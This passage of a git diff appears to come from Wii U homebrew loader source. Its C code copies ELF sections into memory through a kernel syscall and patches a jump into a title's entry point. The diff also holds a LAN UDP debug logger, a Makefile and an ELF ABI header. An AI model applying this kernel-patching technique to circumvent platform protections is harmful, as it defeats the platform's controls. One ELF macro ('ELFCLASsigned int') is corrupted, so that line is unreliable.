|| (ehdr->e_machine != EM_PPC))
{
ExitFailure(private_data, "Invalid elf file");
}
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
int i;
for(i = 0; i < ehdr->e_shnum; i++)
{
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
if(strcmp(section_name, name) == 0)
{
if(addr)
*addr = shdr[i].sh_addr;
if(size)
*size = shdr[i].sh_size;
return shdr[i].sh_offset;
}
}
if(fail_on_not_found)
ExitFailure(private_data, (char*)name);
return 0;
}
/* ****************************************************************** */
/* INSTALL MAIN CODE */
/* ****************************************************************** */
static void InstallMain(private_data_t *private_data)
{
// get .text section
unsigned int main_text_addr = 0;
unsigned int main_text_len = 0;
unsigned int section_offset = get_section(private_data, private_data->data_elf, ".text", &main_text_len, &main_text_addr, 1);
unsigned char *main_text = private_data->data_elf + section_offset;
/* Copy main .text to memory */
if(section_offset > 0)
SC_0x25_KernelCopyData((void*)(CODE_RW_BASE_OFFSET + main_text_addr), main_text, main_text_len);
// get the .rodata section
unsigned int main_rodata_addr = 0;
unsigned int main_rodata_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".rodata", &main_rodata_len, &main_rodata_addr, 0);
if(section_offset > 0)
{
unsigned char *main_rodata = private_data->data_elf + section_offset;
/* Copy main rodata to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_rodata_addr), main_rodata, main_rodata_len);
}
// get the .data section
unsigned int main_data_addr = 0;
unsigned int main_data_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".data", &main_data_len, &main_data_addr, 0);
if(section_offset > 0)
{
unsigned char *main_data = private_data->data_elf + section_offset;
/* Copy main data to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_data_addr), main_data, main_data_len);
}
// get the .bss section
unsigned int main_bss_addr = 0;
unsigned int main_bss_len = 0;
section_offset = get_section(private_data, private_data->data_elf, ".bss", &main_bss_len, &main_bss_addr, 0);
if(section_offset > 0)
{
unsigned char *main_bss = private_data->data_elf + section_offset;
/* Copy main data to memory */
SC_0x25_KernelCopyData((void*)(DATA_RW_BASE_OFFSET + main_bss_addr), main_bss, main_bss_len);
}
}
/* ****************************************************************** */
/* INSTALL PATCHES */
/* All OS specific stuff is done here */
/* ****************************************************************** */
static void InstallPatches(private_data_t *private_data)
{
OsSpecifics osSpecificFunctions;
private_data->memset(&osSpecificFunctions, 0, sizeof(OsSpecifics));
unsigned int bufferU32;
/* Pre-setup a few options to defined values */
bufferU32 = VER;
SC_0x25_KernelCopyData((void*)&OS_FIRMWARE, &bufferU32, sizeof(bufferU32));
bufferU32 = 0xDEADC0DE;
SC_0x25_KernelCopyData((void*)&MAIN_ENTRY_ADDR, &bufferU32, sizeof(bufferU32));
SC_0x25_KernelCopyData((void*)&ELF_DATA_ADDR, &bufferU32, sizeof(bufferU32));
bufferU32 = 0;
SC_0x25_KernelCopyData((void*)&ELF_DATA_SIZE, &bufferU32, sizeof(bufferU32));
unsigned int jump_main_hook = 0;
osSpecificFunctions.addr_OSDynLoad_Acquire = (unsigned int)OSDynLoad_Acquire;
osSpecificFunctions.addr_OSDynLoad_FindExport = (unsigned int)OSDynLoad_FindExport;
osSpecificFunctions.addr_KernSyscallTbl1 = KERN_SYSCALL_TBL_1;
osSpecificFunctions.addr_KernSyscallTbl2 = KERN_SYSCALL_TBL_2;
osSpecificFunctions.addr_KernSyscallTbl3 = KERN_SYSCALL_TBL_3;
osSpecificFunctions.addr_KernSyscallTbl4 = KERN_SYSCALL_TBL_4;
osSpecificFunctions.addr_KernSyscallTbl5 = KERN_SYSCALL_TBL_5;
//! pointer to main entry point of a title
osSpecificFunctions.addr_OSTitle_main_entry = ADDRESS_OSTitle_main_entry_ptr;
SC_0x25_KernelCopyData((void*)OS_SPECIFICS, &osSpecificFunctions, sizeof(OsSpecifics));
//! at this point we dont need to check header and stuff as it is sure to be OK
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) private_data->data_elf;
unsigned int mainEntryPoint = ehdr->e_entry;
//! Install our entry point hook
unsigned int repl_addr = ADDRESS_main_entry_hook;
unsigned int jump_addr = mainEntryPoint & 0x03fffffc;
bufferU32 = 0x48000003 | jump_addr;
SC_0x25_KernelCopyData((void*)(LIB_CODE_RW_BASE_OFFSET + repl_addr), &bufferU32, sizeof(bufferU32));
// flush caches and invalidate instruction cache
private_data->ICInvalidateRange((void*)(repl_addr), 4);
}

74
hbl_loader/logger.c Normal file
View File

@ -0,0 +1,74 @@
#include <stdarg.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include "common/common.h"
#include "dynamic_libs/socket_functions.h"
#include "logger.h"
static int log_socket = 0;
void log_init(void)
{
if(log_socket > 0)
return;
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (log_socket < 0)
return;
struct sockaddr_in connect_addr;
memset(&connect_addr, 0, sizeof(connect_addr));
connect_addr.sin_family = AF_INET;
connect_addr.sin_port = 4405;
inet_aton("192.168.0.44", &connect_addr.sin_addr);
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
{
socketclose(log_socket);
log_socket = -1;
}
}
void log_print(const char *str)
{
// socket is always 0 initially as it is in the BSS
if(log_socket <= 0) {
log_init();
return;
}
int len = strlen(str);
int ret;
while (len > 0) {
ret = send(log_socket, str, len, 0);
if(ret < 0)
return;
len -= ret;
str += ret;
}
}
void log_printf(const char *format, ...)
{
if(log_socket <= 0) {
log_init();
return;
}
char * tmp = NULL;
va_list va;
va_start(va, format);
if((vasprintf(&tmp, format, va) >= 0) && tmp)
{
log_print(tmp);
}
va_end(va);
if(tmp)
free(tmp);
}

86
hbl_loader/logger.h Normal file
View File

@ -0,0 +1,86 @@
#ifndef __LOGGER_H_
#define __LOGGER_H_
#ifdef __cplusplus
extern "C" {
#endif
/* Communication bytes with the server */
// Com
#define BYTE_NORMAL 0xff
#define BYTE_SPECIAL 0xfe
#define BYTE_OK 0xfd
#define BYTE_PING 0xfc
#define BYTE_LOG_STR 0xfb
#define BYTE_DISCONNECT 0xfa
// SD
#define BYTE_MOUNT_SD 0xe0
#define BYTE_MOUNT_SD_OK 0xe1
#define BYTE_MOUNT_SD_BAD 0xe2
// Replacement
#define BYTE_STAT 0x00
#define BYTE_STAT_ASYNC 0x01
#define BYTE_OPEN_FILE 0x02
#define BYTE_OPEN_FILE_ASYNC 0x03
#define BYTE_OPEN_DIR 0x04
#define BYTE_OPEN_DIR_ASYNC 0x05
#define BYTE_CHANGE_DIR 0x06
#define BYTE_CHANGE_DIR_ASYNC 0x07
#define BYTE_MAKE_DIR 0x08
#define BYTE_MAKE_DIR_ASYNC 0x09
#define BYTE_RENAME 0x0A
#define BYTE_RENAME_ASYNC 0x0B
#define BYTE_REMOVE 0x0C
#define BYTE_REMOVE_ASYNC 0x0D
// Log
#define BYTE_CLOSE_FILE 0x40
#define BYTE_CLOSE_FILE_ASYNC 0x41
#define BYTE_CLOSE_DIR 0x42
#define BYTE_CLOSE_DIR_ASYNC 0x43
#define BYTE_FLUSH_FILE 0x44
#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45
#define BYTE_GET_LAST_ERROR 0x46
#define BYTE_GET_MOUNT_SOURCE 0x47
#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48
#define BYTE_GET_POS_FILE 0x49
#define BYTE_SET_POS_FILE 0x4A
#define BYTE_GET_STAT_FILE 0x4B
#define BYTE_EOF 0x4C
#define BYTE_READ_FILE 0x4D
#define BYTE_READ_FILE_ASYNC 0x4E
#define BYTE_READ_FILE_WITH_POS 0x4F
#define BYTE_READ_DIR 0x50
#define BYTE_READ_DIR_ASYNC 0x51
#define BYTE_GET_CWD 0x52
#define BYTE_SET_STATE_CHG_NOTIF 0x53
#define BYTE_TRUNCATE_FILE 0x54
#define BYTE_WRITE_FILE 0x55
#define BYTE_WRITE_FILE_WITH_POS 0x56
#define BYTE_SAVE_INIT 0x57
#define BYTE_SAVE_SHUTDOWN 0x58
#define BYTE_SAVE_INIT_SAVE_DIR 0x59
#define BYTE_SAVE_FLUSH_QUOTA 0x5A
#define BYTE_SAVE_OPEN_DIR 0x5B
#define BYTE_SAVE_REMOVE 0x5C
#define BYTE_CREATE_THREAD 0x60
int logger_connect(int *socket);
void logger_disconnect(int socket);
void log_string(int sock, const char* str, char byte);
void log_byte(int sock, char byte);
void log_init(void);
void log_print(const char *str);
void log_printf(const char *format, ...);
#ifdef __cplusplus
}
#endif
#endif

25
hbl_loader/os_defs.h Normal file
View File

@ -0,0 +1,25 @@
#ifndef __OS_DEFS_H_
#define __OS_DEFS_H_
#ifdef __cplusplus
extern "C" {
#endif
typedef struct _OsSpecifics
{
unsigned int addr_OSDynLoad_Acquire;
unsigned int addr_OSDynLoad_FindExport;
unsigned int addr_OSTitle_main_entry;
unsigned int addr_KernSyscallTbl1;
unsigned int addr_KernSyscallTbl2;
unsigned int addr_KernSyscallTbl3;
unsigned int addr_KernSyscallTbl4;
unsigned int addr_KernSyscallTbl5;
} OsSpecifics;
#ifdef __cplusplus
}
#endif
#endif // __OS_DEFS_H_

View File

@ -0,0 +1,178 @@
#---------------------------------------------------------------------------------
# Clear the implicit built in rules
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITPPC)),)
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
endif
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
PREFIX := powerpc-eabi-
export AS := $(PREFIX)as
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := sd_loader
BUILD := build
BUILD_DBG := $(TARGET)_dbg
SOURCES := src
DATA :=
INCLUDES :=
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \
-Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
ASFLAGS := -mregnames
LDFLAGS := -nostartfiles -Wl,--gc-sections
Q := @
MAKEFLAGS += --no-print-directory
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project
#---------------------------------------------------------------------------------
LIBS :=
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CURDIR) \
$(DEVKITPPC)/lib \
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export PROJECTDIR := $(CURDIR)
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
#---------------------------------------------------------------------------------
# automatically build a list of object files for our project
#---------------------------------------------------------------------------------
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
export LD := $(CC)
else
export LD := $(CXX)
endif
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
$(sFILES:.s=.o) $(SFILES:.S=.o) \
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
#---------------------------------------------------------------------------------
# build a list of include paths
#---------------------------------------------------------------------------------
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
#---------------------------------------------------------------------------------
# build a list of library paths
#---------------------------------------------------------------------------------
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
export OUTPUT := $(CURDIR)/$(TARGET)
.PHONY: $(BUILD) clean install
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT).elf: $(OFILES)
#---------------------------------------------------------------------------------
# This rule links in binary data with the .jpg extension
#---------------------------------------------------------------------------------
%.elf: link.ld $(OFILES)
@echo "linking ... $(TARGET).elf"
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
#---------------------------------------------------------------------------------
%.a:
#---------------------------------------------------------------------------------
@echo $(notdir $@)
@rm -f $@
@$(AR) -rc $@ $^
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.png.o : %.png
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.ttf.o : %.ttf
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
-include $(DEPENDS)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------

View File

@ -0,0 +1,591 @@
/*
* Copyright (c) 1995, 1996, 2001, 2002
* Erik Theisen. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This is the ELF ABI header file
* formerly known as "elf_abi.h".
*/
#ifndef _ELF_ABI_H
#define _ELF_ABI_H
/*
* This version doesn't work for 64-bit ABIs - Erik.
*/
/*
* These typedefs need to be handled better.
*/
typedef unsigned int Elf32_Addr; /* Unsigned program address */
typedef unsigned int Elf32_Off; /* Unsigned file offset */
typedef signed int Elf32_Sword; /* Signed large integer */
typedef unsigned int Elf32_Word; /* Unsigned large integer */
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
/* e_ident[] identification indexes */
#define EI_MAG0 0 /* file ID */
#define EI_MAG1 1 /* file ID */
#define EI_MAG2 2 /* file ID */
#define EI_MAG3 3 /* file ID */
#define EI_CLASS 4 /* file class */
#define EI_DATA 5 /* data encoding */
#define EI_VERSION 6 /* ELF header version */
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
#define EI_ABIVERSION 8 /* ABI target version */
#define EI_PAD 9 /* start of pad bytes */
#define EI_NIDENT 16 /* Size of e_ident[] */
/* e_ident[] magic number */
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
#define ELFMAG "\177ELF" /* magic */
#define SELFMAG 4 /* size of magic */
/* e_ident[] file class */
#define ELFCLASSNONE 0 /* invalid */
#define ELFCLASsigned int 1 /* 32-bit objs */
#define ELFCLASS64 2 /* 64-bit objs */
#define ELFCLASSNUM 3 /* number of classes */
/* e_ident[] data encoding */
#define ELFDATANONE 0 /* invalid */
#define ELFDATA2LSB 1 /* Little-Endian */
#define ELFDATA2MSB 2 /* Big-Endian */
#define ELFDATANUM 3 /* number of data encode defines */
/* e_ident[] OS/ABI specific ELF extensions */
#define ELFOSABI_NONE 0 /* No extension specified */
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
#define ELFOSABI_NETBSD 2 /* NetBSD */
#define ELFOSABI_LINUX 3 /* Linux */
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
#define ELFOSABI_AIX 7 /* AIX */
#define ELFOSABI_IRIX 8 /* IRIX */
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
/* 64-255 Architecture-specific value range */
/* e_ident[] ABI Version */
#define ELFABIVERSION 0
/* e_ident */
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
/* ELF Header */
typedef struct elfhdr{
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
Elf32_Half e_type; /* object file type */
Elf32_Half e_machine; /* machine */
Elf32_Word e_version; /* object file version */
Elf32_Addr e_entry; /* virtual entry point */
Elf32_Off e_phoff; /* program header table offset */
Elf32_Off e_shoff; /* section header table offset */
Elf32_Word e_flags; /* processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size */
Elf32_Half e_phentsize; /* program header entry size */
Elf32_Half e_phnum; /* number of program header entries */
Elf32_Half e_shentsize; /* section header entry size */
Elf32_Half e_shnum; /* number of section header entries */
Elf32_Half e_shstrndx; /* section header table's "section
header string table" entry offset */
} Elf32_Ehdr;
/* e_type */
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* relocatable file */
#define ET_EXEC 2 /* executable file */
#define ET_DYN 3 /* shared object file */
#define ET_CORE 4 /* core file */
#define ET_NUM 5 /* number of types */
#define ET_LOOS 0xfe00 /* reserved range for operating */
#define ET_HIOS 0xfeff /* system specific e_type */
#define ET_LOPROC 0xff00 /* reserved range for processor */
#define ET_HIPROC 0xffff /* specific e_type */
/* e_machine */
#define EM_NONE 0 /* No Machine */
#define EM_M32 1 /* AT&T WE 32100 */
#define EM_SPARC 2 /* SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_68K 4 /* Motorola 68000 */
#define EM_88K 5 /* Motorola 88000 */
#if 0
#define EM_486 6 /* RESERVED - was Intel 80486 */
#endif
#define EM_860 7 /* Intel 80860 */
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
#define EM_S370 9 /* IBM System/370 Processor */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
#if 0
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
64-bit unoffical */
#endif
/* RESERVED 11-14 for future use */
#define EM_PARISC 15 /* HPPA */
/* RESERVED 16 for future use */
#define EM_VPP500 17 /* Fujitsu VPP500 */
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
#define EM_960 19 /* Intel 80960 */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* 64-bit PowerPC */
#define EM_S390 22 /* IBM System/390 Processor */
/* RESERVED 23-35 for future use */
#define EM_V800 36 /* NEC V800 */
#define EM_FR20 37 /* Fujitsu FR20 */
#define EM_RH32 38 /* TRW RH-32 */
#define EM_RCE 39 /* Motorola RCE */
#define EM_ARM 40 /* Advanced Risc Machines ARM */
#define EM_ALPHA 41 /* Digital Alpha */
#define EM_SH 42 /* Hitachi SH */
#define EM_SPARCV9 43 /* SPARC Version 9 */
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
#define EM_ARC 45 /* Argonaut RISC Core */
#define EM_H8_300 46 /* Hitachi H8/300 */
#define EM_H8_300H 47 /* Hitachi H8/300H */
#define EM_H8S 48 /* Hitachi H8S */
#define EM_H8_500 49 /* Hitachi H8/500 */
#define EM_IA_64 50 /* Intel Merced */
#define EM_MIPS_X 51 /* Stanford MIPS-X */
#define EM_COLDFIRE 52 /* Motorola Coldfire */
#define EM_68HC12 53 /* Motorola M68HC12 */
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
#define EM_PCP 55 /* Siemens PCP */
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
#define EM_STARCORE 58 /* Motorola Start*Core processor */
#define EM_ME16 59 /* Toyota ME16 processor */
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_PDSP 63 /* Sony DSP Processor */
/* RESERVED 64,65 for future use */
#define EM_FX66 66 /* Siemens FX66 microcontroller */
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
#define EM_SVX 73 /* Silicon Graphics SVx */
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
#define EM_VAX 75 /* Digital VAX */
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
#define EM_HUANY 81 /* Harvard University mach-indep objs */
#define EM_PRISM 82 /* SiTera Prism */
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
#define EM_FR30 84 /* Fujitsu FR30 */
#define EM_D10V 85 /* Mitsubishi DV10V */
#define EM_D30V 86 /* Mitsubishi DV30V */
#define EM_V850 87 /* NEC v850 */
#define EM_M32R 88 /* Mitsubishi M32R */
#define EM_MN10300 89 /* Matsushita MN10200 */
#define EM_MN10200 90 /* Matsushita MN10200 */
#define EM_PJ 91 /* picoJava */
#define EM_NUM 92 /* number of machine types */
/* Version */
#define EV_NONE 0 /* Invalid */
#define EV_CURRENT 1 /* Current */
#define EV_NUM 2 /* number of versions */
/* Section Header */
typedef struct {
Elf32_Word sh_name; /* name - index into section header
string table section */
Elf32_Word sh_type; /* type */
Elf32_Word sh_flags; /* flags */
Elf32_Addr sh_addr; /* address */
Elf32_Off sh_offset; /* file offset */
Elf32_Word sh_size; /* section size */
Elf32_Word sh_link; /* section header table index link */
Elf32_Word sh_info; /* extra information */
Elf32_Word sh_addralign; /* address alignment */
Elf32_Word sh_entsize; /* section entry size */
} Elf32_Shdr;
/* Special Section Indexes */
#define SHN_UNDEF 0 /* undefined */
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
#define SHN_LOPROC 0xff00 /* reserved range for processor */
#define SHN_HIPROC 0xff1f /* specific section indexes */
#define SHN_LOOS 0xff20 /* reserved range for operating */
#define SHN_HIOS 0xff3f /* specific semantics */
#define SHN_ABS 0xfff1 /* absolute value */
#define SHN_COMMON 0xfff2 /* common symbol */
#define SHN_XINDEX 0xffff /* Index is an extra table */
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
/* sh_type */
#define SHT_NULL 0 /* inactive */
#define SHT_PROGBITS 1 /* program defined information */
#define SHT_SYMTAB 2 /* symbol table section */
#define SHT_STRTAB 3 /* string table section */
#define SHT_RELA 4 /* relocation section with addends*/
#define SHT_HASH 5 /* symbol hash table section */
#define SHT_DYNAMIC 6 /* dynamic section */
#define SHT_NOTE 7 /* note section */
#define SHT_NOBITS 8 /* no space section */
#define SHT_REL 9 /* relation section without addends */
#define SHT_SHLIB 10 /* reserved - purpose unknown */
#define SHT_DYNSYM 11 /* dynamic symbol table section */
#define SHT_INIT_ARRAY 14 /* Array of constructors */
#define SHT_FINI_ARRAY 15 /* Array of destructors */
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
#define SHT_GROUP 17 /* Section group */
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
#define SHT_NUM 19 /* number of section types */
#define SHT_LOOS 0x60000000 /* Start OS-specific */
#define SHT_HIOS 0x6fffffff /* End OS-specific */
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
#define SHT_HIPROC 0x7fffffff /* specific section header types */
#define SHT_LOUSER 0x80000000 /* reserved range for application */
#define SHT_HIUSER 0xffffffff /* specific indexes */
/* Section names */
#define ELF_BSS ".bss" /* uninitialized data */
#define ELF_COMMENT ".comment" /* version control information */
#define ELF_DATA ".data" /* initialized data */
#define ELF_DATA1 ".data1" /* initialized data */
#define ELF_DEBUG ".debug" /* debug */
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
#define ELF_FINI ".fini" /* termination code */
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
#define ELF_GOT ".got" /* global offset table */
#define ELF_HASH ".hash" /* symbol hash table */
#define ELF_INIT ".init" /* initialization code */
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
#define ELF_LINE ".line" /* Symbolic line numnber information */
#define ELF_NOTE ".note" /* Contains note section */
#define ELF_PLT ".plt" /* Procedure linkage table */
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
#define ELF_REL_DATA ".rel.data" /* relocation data */
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
#define ELF_REL_TEXT ".rel.text" /* relocation code */
#define ELF_RODATA ".rodata" /* read-only data */
#define ELF_RODATA1 ".rodata1" /* read-only data */
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
#define ELF_STRTAB ".strtab" /* string table */
#define ELF_SYMTAB ".symtab" /* symbol table */
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
#define ELF_TBSS ".tbss" /* thread local uninit data */
#define ELF_TDATA ".tdata" /* thread local init data */
#define ELF_TDATA1 ".tdata1" /* thread local init data */
#define ELF_TEXT ".text" /* code */
/* Section Attribute Flags - sh_flags */
#define SHF_WRITE 0x1 /* Writable */
#define SHF_ALLOC 0x2 /* occupies memory */
#define SHF_EXECINSTR 0x4 /* executable */
#define SHF_MERGE 0x10 /* Might be merged */
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
